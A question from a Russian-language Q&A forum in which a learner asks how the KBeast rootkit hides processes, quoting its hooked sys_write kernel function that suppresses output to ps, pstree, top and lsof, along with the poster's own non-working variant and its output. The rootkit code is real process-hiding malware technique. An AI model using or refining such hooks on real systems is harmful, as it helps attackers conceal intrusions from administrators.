Как руткит скрывает процесс? - PullRequest
0 голосов
/ 07 апреля 2020

Я пытаюсь узнать, как работает руткит (в образовательных целях). У меня есть исходный код Kbeast руткит. Чтобы скрыть процесс от PS || pstree et c. Команда имеет следующую функцию:

asmlinkage int h4x_write(unsigned int fd, const char __user *buf,size_t count){

   int r;
   char *kbuf=(char*)kmalloc(256,GFP_KERNEL);
   copy_from_user(kbuf,buf,255);
   if ((strstr(current->comm,"ps"))||(strstr(current->comm,"pstree"))||
    (strstr(current->comm,"top"))||(strstr(current->comm,"lsof"))){
        if(strstr(kbuf,_H4X0R_)||strstr(kbuf,KBEAST)){
               kfree(kbuf);
               return -ENOENT;
        }
   }
   r=(*o_write)(fd,buf,count);
   kfree(kbuf);
   return r;
}

Эта функция переопределяет sys_call_table [__NR_write]. Насколько я понимаю, * buf, содержит название процесса, который он пытается скрыть. с помощью copy_from_user () buf копируется в буфер ядра kbuf, а затем, обнаружив команду ps||pstree||... с помощью strstr (), выполняет поиск process_to_hide (H4X0R). Если найдено совпадение, освободите буфер ядра kbuf. Правильно ли мое понимание?

Я проверяю содержание buf . Он не содержит ничего, поэтому он никогда не работает.

Чтобы заставить его работать, я сделал небольшой обходной путь (не уверен, что это правильный подход, поскольку я сказал, что я новичок). Я сделал следующее, чтобы поместить имя процесса (процесс, который я пытаюсь скрыть) в buf , а затем использовать copy_from_user () , чтобы скопировать его в пространство ядра. У меня есть рабочий код, который выглядит как оригинальный код Kbeast,

const char *p_name="kbeast";

asmlinkage long test_write(unsigned int fd, char const __user *buf, size_t count){

long r=1;

r = (*original_write)(fd, buf, count);
char *kbuf=(char const *)kmalloc(256,GFP_KERNEL);
//__copy_from_user(kbuf,buf,255);

if (strstr(current->comm,"ps")){
    struct task_struct *task;
        for_each_process(task){
        if (strstr(task->comm,p_name)){
                //printk("%s [%d]\n",task->comm , task->pid);
            buf=task->comm;
            __copy_from_user(kbuf,buf,255);
            break;
        }
    }       
    //printk(KERN_INFO "kBuf %s", kbuf);
    if(strstr(kbuf,p_name)){
            kfree(kbuf);
            return -ENOENT;
        }

}


return r;
}

при запуске команды ps, он показывает следующее,

 PID TTY          TIME CMD
 10115 pts/2    00:00:00 bash
 14560 pts/2    00:00:00 kbeast
 14561 pts/2    00:00:00 ps
 ps: write error

Что здесь происходит?

Я думал о другом подходе, так как в task_struct список ссылок содержит все имена процессов, если я могу каким-то образом отсоединить целевой процесс от task_struct , который должен сделать свое дело , но я понятия не имею, как это сделать.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...